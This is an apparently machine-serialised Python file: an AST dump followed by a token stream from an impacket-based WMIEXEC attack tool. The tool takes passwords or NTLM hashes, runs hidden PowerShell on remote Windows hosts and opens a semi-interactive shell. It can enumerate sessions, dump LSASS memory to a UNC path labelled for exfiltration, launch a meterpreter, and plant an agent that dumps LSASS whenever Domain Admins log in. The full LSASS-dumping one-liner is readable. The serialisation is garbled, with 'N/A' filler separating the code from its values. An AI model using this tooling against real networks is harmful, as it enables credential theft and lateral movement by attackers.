Module Import alias Import alias Import alias Import alias Import alias Import alias Import alias ImportFrom alias alias ImportFrom alias ImportFrom alias ImportFrom alias ImportFrom alias Assign NameStore Str Assign NameStore Num Assign NameStore Num Assign NameStore Num Assign NameStore Num ClassDef bases body FunctionDef arguments args NameParam NameParam NameParam NameParam NameParam NameParam NameParam NameParam NameParam NameParam defaults Str Str Str Str NameLoad NameLoad NameLoad NameLoad NameLoad body Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr Str Assign AttributeStore NameLoad attr Str Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr NameLoad If CompareIsNot NameLoad NameLoad body Assign TupleStore AttributeStore NameLoad attr AttributeStore NameLoad attr Call AttributeLoad NameLoad attr Str decorator_list FunctionDef arguments args NameParam NameParam defaults body If CompareIs AttributeLoad NameLoad attr NameLoad body Assign NameStore Call NameLoad NameLoad NameLoad Expr Call AttributeLoad NameLoad attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr Assign NameStore Call AttributeLoad NameLoad attr If CompareEq NameLoad NameLoad body Print Str orelse If CompareEq NameLoad NameLoad body Print Str orelse If CompareEq NameLoad NameLoad body Print Str orelse Print Str orelse Assign NameStore NameLoad Assign NameStore Call NameLoad NameLoad AttributeLoad NameLoad attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr keyword NameLoad Assign NameStore Call AttributeLoad NameLoad attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr Assign NameStore Call AttributeLoad NameLoad attr NameLoad Assign NameStore Call AttributeLoad NameLoad attr Str NameLoad NameLoad Expr Call AttributeLoad NameLoad attr Assign TupleStore NameStore NameStore Call AttributeLoad NameLoad attr Str TryExcept body Assign AttributeStore NameLoad attr Call NameLoad AttributeLoad NameLoad attr NameLoad NameLoad If CompareNotEq AttributeLoad NameLoad attr Str body Expr Call AttributeLoad AttributeLoad NameLoad attr attr AttributeLoad NameLoad attr orelse If CompareNotEq AttributeLoad NameLoad attr NameLoad body If CompareEq AttributeLoad NameLoad attr NameLoad body Print Str Assign AttributeStore NameLoad attr Str orelse If CompareEq AttributeLoad NameLoad attr NameLoad body Print BinOpAdd Str AttributeLoad NameLoad attr Assign AttributeStore NameLoad attr Call AttributeLoad AttributeLoad NameLoad attr attr Str Str Assign AttributeStore NameLoad attr BinOpAdd BinOpAdd Str AttributeLoad NameLoad attr Str orelse If CompareEq AttributeLoad NameLoad attr NameLoad body Pass orelse If CompareEq AttributeLoad NameLoad attr NameLoad body Pass Expr Call AttributeLoad AttributeLoad NameLoad attr attr AttributeLoad NameLoad attr orelse Print Str If CompareIsNot NameLoad NameLoad body Expr Call AttributeLoad NameLoad attr Expr Call AttributeLoad NameLoad attr Expr Call AttributeLoad NameLoad attr Num handlers ExceptHandler type TupleLoad NameLoad NameLoad name NameStore body Print NameLoad If CompareIsNot NameLoad NameLoad body Expr Call AttributeLoad NameLoad attr Expr Call AttributeLoad NameLoad attr Expr Call AttributeLoad AttributeLoad NameLoad attr attr Expr Call AttributeLoad NameLoad attr Num If CompareIsNot NameLoad NameLoad body Expr Call AttributeLoad NameLoad attr Expr Call AttributeLoad NameLoad attr decorator_list decorator_list ClassDef bases AttributeLoad NameLoad attr body FunctionDef arguments args NameParam NameParam NameParam NameParam defaults body Expr Call AttributeLoad AttributeLoad NameLoad attr attr NameLoad Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr BinOpAdd Str NameLoad Assign AttributeStore NameLoad attr Str Assign AttributeStore NameLoad attr Str Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr Str Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr Str If CompareIsNot AttributeLoad NameLoad attr NameLoad body Expr Call AttributeLoad AttributeLoad NameLoad attr attr Num Expr Call AttributeLoad NameLoad attr Str orelse Assign AttributeStore NameLoad attr NameLoad decorator_list FunctionDef arguments args NameParam NameParam defaults body Expr Call AttributeLoad NameLoad attr NameLoad decorator_list FunctionDef arguments args NameParam NameParam defaults body Return NameLoad decorator_list FunctionDef arguments args NameParam defaults body Return NameLoad decorator_list FunctionDef arguments args NameParam NameParam defaults body Expr Call AttributeLoad NameLoad attr BinOpAdd Str NameLoad If CompareGt Call NameLoad Call AttributeLoad AttributeLoad NameLoad attr attr Str Num body Print AttributeLoad NameLoad attr Assign AttributeStore NameLoad attr Str orelse Assign AttributeStore NameLoad attr Call AttributeLoad NameLoad attr Call AttributeLoad NameLoad attr AttributeLoad NameLoad attr NameLoad Expr Call AttributeLoad NameLoad attr Str Assign AttributeStore NameLoad attr Call AttributeLoad AttributeLoad NameLoad attr attr Str Assign AttributeStore NameLoad attr BinOpAdd AttributeLoad NameLoad attr Str Assign AttributeStore NameLoad attr Str decorator_list FunctionDef arguments args NameParam NameParam defaults body If BoolOpAnd CompareEq Call NameLoad NameLoad Num CompareEq SubscriptLoad NameLoad Index Num Str body Expr Call AttributeLoad NameLoad attr NameLoad If CompareGt Call NameLoad Call AttributeLoad AttributeLoad NameLoad attr attr Str Num body Print AttributeLoad NameLoad attr Assign AttributeStore NameLoad attr Str orelse Assign AttributeStore NameLoad attr NameLoad Expr Call AttributeLoad NameLoad attr Str Assign AttributeStore NameLoad attr Call AttributeLoad AttributeLoad NameLoad attr attr Str Assign AttributeStore NameLoad attr BinOpAdd AttributeLoad NameLoad attr Str Assign AttributeStore NameLoad attr Str orelse If CompareNotEq NameLoad Str body Expr Call AttributeLoad NameLoad attr NameLoad decorator_list FunctionDef arguments args NameParam defaults body FunctionDef arguments args NameParam defaults body AugAssignAdd AttributeStore NameLoad attr NameLoad decorator_list If CompareIs AttributeLoad NameLoad attr NameLoad body Assign AttributeStore NameLoad attr Str Return While NameLoad body TryExcept body Expr Call AttributeLoad AttributeLoad NameLoad attr attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr NameLoad Break handlers ExceptHandler type NameLoad name NameStore body If CompareGtE Call AttributeLoad Call NameLoad NameLoad attr Str Num body Expr Call AttributeLoad NameLoad attr Num Pass orelse Pass Expr Call AttributeLoad AttributeLoad NameLoad attr attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr decorator_list FunctionDef arguments args NameParam NameParam defaults body Assign NameStore BinOpAdd AttributeLoad NameLoad attr NameLoad If CompareIs AttributeLoad NameLoad attr NameLoad body AugAssignAdd NameStore BinOpAdd BinOpAdd BinOpAdd Str BinOpMod Str AttributeLoad NameLoad attr AttributeLoad NameLoad attr Str Assign NameStore Call AttributeLoad AttributeLoad NameLoad attr attr NameLoad AttributeLoad NameLoad attr NameLoad Expr Call AttributeLoad NameLoad attr decorator_list FunctionDef arguments args NameParam NameParam defaults body Expr Call AttributeLoad NameLoad attr NameLoad Print AttributeLoad NameLoad attr Assign AttributeStore NameLoad attr Str decorator_list decorator_list If CompareEq NameLoad Str body Print AttributeLoad NameLoad attr Assign NameStore Call AttributeLoad NameLoad attr Expr Call AttributeLoad NameLoad attr Str keyword Str keyword Str Expr Call AttributeLoad NameLoad attr Str keyword Str keyword Str keyword Str Expr Call AttributeLoad NameLoad attr Str keyword Str keyword NameLoad keyword Str Expr Call AttributeLoad NameLoad attr Str keyword Str keyword NameLoad keyword Str Expr Call AttributeLoad NameLoad attr Str keyword Str keyword NameLoad keyword Str Expr Call AttributeLoad NameLoad attr Str keyword Str keyword NameLoad keyword Str Expr Call AttributeLoad NameLoad attr Str keyword Str keyword NameLoad keyword Str Expr Call AttributeLoad NameLoad attr Str keyword Str keyword NameLoad keyword Str Expr Call AttributeLoad NameLoad attr Str keyword Str keyword NameLoad keyword Str Expr Call AttributeLoad NameLoad attr Str keyword Str keyword NameLoad keyword Str Expr Call AttributeLoad NameLoad attr Str keyword Str keyword Str keyword Str Expr Call AttributeLoad NameLoad attr Str keyword Str keyword Str keyword Str If CompareEq Call NameLoad AttributeLoad NameLoad attr Num body Expr Call AttributeLoad NameLoad attr Expr Call AttributeLoad NameLoad attr Num Assign NameStore Call AttributeLoad NameLoad attr If BoolOpAnd CompareEq Call AttributeLoad Str attr AttributeLoad NameLoad attr Str CompareIs AttributeLoad NameLoad attr NameLoad body Print Str Expr Call AttributeLoad NameLoad attr Num If Call AttributeLoad AttributeLoad NameLoad attr attr AttributeLoad NameLoad attr body Print BinOpAdd Str AttributeLoad NameLoad attr TryExcept body Assign NameStore Call AttributeLoad Call NameLoad AttributeLoad NameLoad attr attr handlers ExceptHandler body Print Str Expr Call AttributeLoad NameLoad attr Num orelse Assign NameStore Call AttributeLoad Str attr AttributeLoad NameLoad attr Import alias If CompareIs AttributeLoad NameLoad attr NameLoad body Assign NameStore AttributeLoad NameLoad attr orelse Assign NameStore ListLoad If CompareIsNot AttributeLoad NameLoad attr NameLoad body TryExcept body Assign NameStore Call NameLoad AttributeLoad NameLoad attr For NameStore Call AttributeLoad NameLoad attr body Expr Call AttributeLoad NameLoad attr Call AttributeLoad NameLoad attr Str Expr Call AttributeLoad NameLoad attr handlers ExceptHandler body Print Str Expr Call AttributeLoad NameLoad attr Num orelse Print Str Expr Call AttributeLoad NameLoad attr Num TryExcept body If CompareIs AttributeLoad NameLoad attr NameLoad body Assign NameStore Str If CompareIsNot AttributeLoad NameLoad attr NameLoad body Assign NameStore AttributeLoad NameLoad attr If BoolOpAnd CompareIs AttributeLoad NameLoad attr NameLoad CompareIsNot AttributeLoad NameLoad attr NameLoad CompareIs AttributeLoad NameLoad attr NameLoad body ImportFrom alias Assign NameStore Call NameLoad Str orelse Assign NameStore AttributeLoad NameLoad attr Assign NameStore Call NameLoad NameLoad AttributeLoad NameLoad attr NameLoad NameLoad AttributeLoad NameLoad attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr Call NameLoad AttributeLoad NameLoad attr AttributeLoad NameLoad attr If CompareIsNot AttributeLoad NameLoad attr NameLoad body For NameStore NameLoad body TryExcept body Expr Call AttributeLoad NameLoad attr NameLoad handlers ExceptHandler type TupleLoad NameLoad NameLoad name NameStore body Pass orelse Expr Call AttributeLoad NameLoad attr NameLoad handlers ExceptHandler type TupleLoad NameLoad NameLoad name NameStore body Print BinOpMod Str NameLoad Expr Call AttributeLoad NameLoad attr Num
N/A N/A sys N/A os N/A cmd N/A argparse N/A time N/A ntpath N/A csv impacket version ntlm impacket.smbconnection * impacket.dcerpc.v5.dcomrt DCOMConnection impacket.dcerpc.v5.dcom wmi impacket.dcerpc.v5.dtypes NULL N/A OUTPUT_FILENAME __ N/A MODE_ENUMUSER 1 N/A MODE_DUMPLSASS 2 N/A MODE_METERPRETER 3 N/A MODE_PUSHAGENT 4 WMIEXEC N/A N/A __init__ N/A N/A self psh username password domain hashes share noOutput mode uncpath N/A None None False None None N/A N/A N/A self __psh psh N/A N/A self __username username N/A N/A self __password password N/A N/A self __domain domain N/A N/A self __lmhash N/A N/A self __nthash N/A N/A self __mode mode N/A N/A self __share share N/A N/A self __uncpath uncpath N/A N/A self __noOutput noOutput N/A N/A hashes None N/A N/A N/A N/A self __lmhash N/A self __nthash N/A N/A hashes split : N/A run N/A N/A self addr N/A N/A N/A N/A N/A self __noOutput False N/A N/A smbConnection N/A SMBConnection addr addr N/A N/A N/A smbConnection login N/A self __username N/A self __password N/A self __domain N/A self __lmhash N/A self __nthash N/A dialect N/A N/A smbConnection getDialect N/A N/A dialect SMB_DIALECT N/A N/A SMBv1 dialect used N/A N/A N/A dialect SMB2_DIALECT_002 N/A N/A SMBv2.0 dialect used N/A N/A N/A dialect SMB2_DIALECT_21 N/A N/A SMBv2.1 dialect used N/A N/A SMBv3.0 dialect used N/A N/A smbConnection None N/A dcom N/A DCOMConnection addr N/A self __username N/A self __password N/A self __domain N/A self __lmhash N/A self __nthash oxidResolver True N/A iInterface N/A N/A dcom CoCreateInstanceEx N/A wmi CLSID_WbemLevel1Login N/A wmi IID_IWbemLevel1Login N/A iWbemLevel1Login N/A N/A wmi IWbemLevel1Login iInterface N/A iWbemServices N/A N/A iWbemLevel1Login NTLMLogin //./root/cimv2 NULL NULL N/A N/A N/A iWbemLevel1Login RemRelease N/A N/A win32Process _ N/A N/A iWbemServices GetObject Win32_Process N/A N/A N/A N/A self shell N/A RemoteShell N/A self __share win32Process smbConnection N/A N/A N/A self __psh N/A N/A N/A N/A N/A self shell onecmd N/A self __psh N/A N/A N/A N/A self __mode None N/A N/A N/A N/A self __mode MODE_ENUMUSER N/A N/A Entering ENUMUSER mode N/A N/A self __psh powershell -nop -wind hidden -noni "$d = query session; 1..($d.count-1) | % { Write-Host '---';$d[$_].Substring(19,20).Trim();$d[$_].Substring(48,8).Trim();$d[$_].Substring(1,18).Trim();}" N/A N/A N/A N/A self __mode MODE_DUMPLSASS N/A N/A N/A Entering DUMPLSASS mode. Results will be saved to  N/A self __uncpath N/A N/A self __uncpath N/A N/A N/A self __uncpath replace \ \\ N/A N/A self __psh N/A N/A cmd.exe /c powershell -nop -wind hidden -noni "$proc = ps lsass;$FileStream = New-Object IO.FileStream(' N/A self __uncpath ', [IO.FileMode]::Create);$Result = ((([PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')).GetNestedType('NativeMethods', 'NonPublic')).GetMethod('MiniDumpWriteDump', ([Reflection.BindingFlags] 'NonPublic, Static'))).Invoke($null,@($proc.Handle,$proc.Id,$FileStream.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero));exit;" N/A N/A N/A N/A self __mode MODE_METERPRETER N/A N/A N/A N/A N/A N/A self __mode MODE_PUSHAGENT N/A N/A N/A N/A N/A N/A self shell onecmd N/A self __psh N/A N/A No powershell or mode provided! N/A N/A smbConnection None N/A N/A N/A N/A smbConnection logoff N/A N/A N/A dcom disconnect N/A N/A N/A sys exit 1 N/A N/A N/A N/A Exception KeyboardInterrupt N/A e N/A N/A e N/A N/A smbConnection None N/A N/A N/A N/A smbConnection logoff N/A N/A N/A dcom disconnect N/A N/A N/A N/A sys stdout flush N/A N/A N/A sys exit 1 N/A N/A smbConnection None N/A N/A N/A N/A smbConnection logoff N/A N/A N/A dcom disconnect N/A N/A RemoteShell N/A N/A cmd Cmd N/A __init__ N/A N/A self share win32Process smbConnection N/A N/A N/A N/A N/A N/A cmd Cmd __init__ self N/A N/A self __share share N/A N/A self __output N/A \ OUTPUT_FILENAME N/A N/A self __outputBuffer N/A N/A self __shell cmd.exe /Q /c  N/A N/A self __win32Process win32Process N/A N/A self __transferClient smbConnection N/A N/A self __pwd C:\ N/A N/A self __noOutput False N/A N/A self intro [!] Launching semi-interactive shell - Careful what you execute N/A N/A N/A self __transferClient None N/A N/A N/A N/A N/A self __transferClient setTimeout 100000 N/A N/A N/A self do_cd \ N/A N/A N/A self __noOutput True N/A do_shell N/A N/A self s N/A N/A N/A N/A N/A os system s N/A do_exit N/A N/A self s N/A N/A N/A True N/A emptyline N/A N/A self N/A N/A N/A False N/A do_cd N/A N/A self s N/A N/A N/A N/A N/A self execute_remote N/A cd  s N/A N/A N/A len N/A N/A N/A self __outputBuffer strip 0 N/A N/A N/A self __outputBuffer N/A N/A self __outputBuffer N/A N/A N/A self __pwd N/A N/A ntpath normpath N/A N/A ntpath join N/A self __pwd s N/A N/A N/A self execute_remote cd  N/A N/A self __pwd N/A N/A N/A self __outputBuffer strip N/A N/A self prompt N/A N/A self __pwd > N/A N/A self __outputBuffer N/A default N/A N/A self line N/A N/A N/A N/A N/A N/A len line 2 N/A N/A line N/A 1 : N/A N/A N/A N/A self execute_remote line N/A N/A N/A len N/A N/A N/A self __outputBuffer strip 0 N/A N/A N/A self __outputBuffer N/A N/A self __outputBuffer N/A N/A N/A self __pwd line N/A N/A N/A self execute_remote cd  N/A N/A self __pwd N/A N/A N/A self __outputBuffer strip N/A N/A self prompt N/A N/A self __pwd > N/A N/A self __outputBuffer N/A N/A N/A line N/A N/A N/A N/A self send_data line N/A get_output N/A N/A self N/A N/A output_callback N/A N/A data N/A N/A N/A N/A self __outputBuffer data N/A N/A N/A N/A self __noOutput True N/A N/A N/A self __outputBuffer N/A N/A True N/A N/A N/A N/A N/A N/A N/A self __transferClient getFile N/A self __share N/A self __output output_callback N/A N/A N/A N/A Exception N/A e N/A N/A N/A N/A N/A N/A str e find STATUS_SHARING_VIOLATION 0 N/A N/A N/A N/A time sleep 1 N/A N/A N/A N/A N/A N/A N/A self __transferClient deleteFile N/A self __share N/A self __output N/A execute_remote N/A N/A self data N/A N/A N/A command N/A N/A self __shell data N/A N/A N/A self __noOutput False N/A N/A command N/A N/A N/A  1>  N/A \\127.0.0.1\%s N/A self __share N/A self __output  2>&1 N/A obj N/A N/A N/A self __win32Process Create command N/A self __pwd None N/A N/A N/A self get_output N/A send_data N/A N/A self data N/A N/A N/A N/A N/A self execute_remote data N/A N/A self __outputBuffer N/A N/A self __outputBuffer N/A N/A N/A N/A __name__ __main__ N/A N/A N/A version BANNER N/A parser N/A N/A argparse ArgumentParser N/A N/A N/A parser add_argument -host action store help [domain/][username[:password]@]<address> N/A N/A N/A parser add_argument -share action store default ADMIN$ help share where the output will be grabbed from (default ADMIN$) N/A N/A N/A parser add_argument -nooutput action store_true default False help whether or not to print the output (no SMB connection created) N/A N/A N/A parser add_argument -domain action store default None help SMB Domain to use, leave blank for local accounts N/A N/A N/A parser add_argument -user action store default None help SMB user account to execute powershell with N/A N/A N/A parser add_argument -password action store default None help Password for SMB user account, if omitted hash will be used N/A N/A N/A parser add_argument -hosts action store default None help Newline separated file of SMB hosts N/A N/A N/A parser add_argument -targetusers action store default None help Target users (usually Domain Admins) to conditionally dump LSASS memory to UNC path N/A N/A N/A parser add_argument -mode action store default None help The following modes are accepted: [1] Enumerate users
[2] Dump lsass memory to UNC path
[3] Powershell meterpreter. If no mode is given powershell must be provided to be excuted
[4] Push powershell agent to monitor for a set list of users and dump lsass memory upon login N/A N/A N/A parser add_argument -uncpath action store default None help UNC path used for exfiltration for mode 2 and 4 N/A N/A N/A parser add_argument psh nargs * default help Powershell to execute on remote host, or file containing powershell N/A N/A N/A parser add_argument -hashes action store metavar LMHASH:NTHASH help NTLM hashes, format is LMHASH:NTHASH N/A N/A N/A len N/A sys argv 1 N/A N/A N/A N/A parser print_help N/A N/A N/A sys exit 1 N/A options N/A N/A parser parse_args N/A N/A N/A N/A N/A join N/A options psh N/A N/A options mode None N/A N/A ERROR: Either a mode must be specified or powershell must be provided N/A N/A N/A sys exit 1 N/A N/A N/A N/A os path exists N/A options psh N/A N/A N/A [+] Using Powershell file:  N/A options psh N/A N/A N/A psh N/A N/A N/A open N/A options psh read N/A N/A N/A N/A [-] Couldn't read from file given! N/A N/A N/A sys exit 1 N/A N/A psh N/A N/A join N/A options psh N/A re N/A N/A N/A options hosts None N/A N/A address N/A options host N/A N/A addresses N/A N/A N/A N/A options user None N/A N/A N/A N/A fh N/A open N/A options hosts N/A line N/A N/A fh readlines N/A N/A N/A N/A addresses append N/A N/A line rstrip N/A N/A N/A fh close N/A N/A N/A N/A [-] Couln't open the target list file specified N/A N/A N/A sys exit 1 N/A N/A [-] Username required! N/A N/A N/A sys exit 1 N/A N/A N/A N/A N/A options domain None N/A N/A domain N/A N/A N/A options domain None N/A N/A domain N/A options domain N/A N/A N/A N/A options password None N/A N/A options user None N/A N/A options hashes None N/A getpass getpass N/A password N/A getpass Password: N/A N/A password N/A options password N/A executer N/A WMIEXEC psh N/A options user password domain N/A options hashes N/A options share N/A options nooutput N/A int N/A options mode N/A options uncpath N/A N/A N/A options hosts None N/A N/A host addresses N/A N/A N/A N/A N/A N/A executer run host N/A N/A N/A N/A Exception KeyboardInterrupt N/A e N/A N/A N/A N/A N/A N/A executer run address N/A N/A N/A N/A Exception KeyboardInterrupt N/A e N/A N/A N/A 
ERROR: %s e N/A N/A N/A sys exit 0